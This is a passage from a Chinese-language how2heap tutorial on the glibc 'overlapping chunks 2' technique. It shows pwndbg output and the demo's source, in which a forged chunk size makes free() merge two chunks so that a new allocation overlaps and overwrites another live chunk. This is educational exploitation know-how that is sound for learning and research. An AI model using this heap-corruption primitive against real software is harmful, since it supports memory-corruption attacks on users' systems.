0x6033f0:       0x4141414141414141      0x00000000000007e1       伪造的size
0x603400:       0x4242424242424242      0x4242424242424242
0x603410:       0x4242424242424242      0x4242424242424242
0x603420:       0x4242424242424242      0x4242424242424242
0x603430:       0x4242424242424242      0x4242424242424242
 

3.3.4 ​设置断点第46行并走起

这样当我们释放chunk 2的时候,malloc根据这个被修改的size值,会以为chunk 2加上 chunk 3的区域都是要释放的,然后就错误地修改了chunk 5的 prev_size。接着,它发现紧邻的一块chunk 4也是 free 状态,就把它俩合并在了一起,组成一个大free chunk,放进unsorted bin中。

Breakpoint 3 at 0x4009a8: file overlapping_chunks_2.c, line 46.
pwndbg> c
Continuing.

free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4

这样的话将会 free 掉的 p2 将会包含 p3

Breakpoint 3, main () at overlapping_chunks_2.c:47
47        fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x0
 RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RSI  0x0
 R8   0x603bd0 ◂— 0x4343434343434343 ('CCCCCCCC')
 R9   0x1
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe560 ◂— 0x1f7ffe168
 RIP  0x4009a8 (main+722) ◂— mov    rax, qword ptr [rip + 0x2016b1]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009a8 <main+722>    mov    rax, qword ptr [rip + 0x2016b1] <0x602060>
   0x4009af <main+729>    mov    rcx, rax
   0x4009b2 <main+732>    mov    edx, 0x6b
   0x4009b7 <main+737>    mov    esi, 1
   0x4009bc <main+742>    mov    edi, 0x400d50
   0x4009c1 <main+747>    call   fwrite@plt <0x4005c0>
 
   0x4009c6 <main+752>    mov    edi, 0x7d0
   0x4009cb <main+757>    call   malloc@plt <0x4005b0>
 
   0x4009d0 <main+762>    mov    qword ptr [rbp - 8], rax
   0x4009d4 <main+766>    mov    rax, qword ptr [rbp - 8]
   0x4009d8 <main+770>    mov    rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
   42   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
   43   fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
   44   fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
   45   free(p2);
   46   
 ► 47   fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
   48   p6 = malloc(2000);
   49   real_size_p6 = malloc_usable_size(p6);
   50 
   51   fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6,  (unsigned char *)p6+real_size_p6);
   52   fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│      0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│      0x7fffffffe578 ◂— 0x3e8
04:0020│      0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│      0x7fffffffe588 —▸ 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
06:0030│      0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│      0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009a8 main+722
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:46
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0xbd0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603fc0            0xbd0               0x3f0                Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6033f0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6033f0
smallbins
empty
largebins
empty
pwndbg> 

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0xbd0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603fc0            0xbd0               0x3f0                Used                None              None
 

3.3.5 ​设置断点第62行并走起

再次去malloc 0x7e0大小的chunk p6会把包含p3的p2给申请到,这样再去编辑p6的时候也可以编辑到p3。

现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来

chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8

p3 中的内容: 

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

往 p6 中写入"F"

p3 中的内容: 

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

02-14 02:41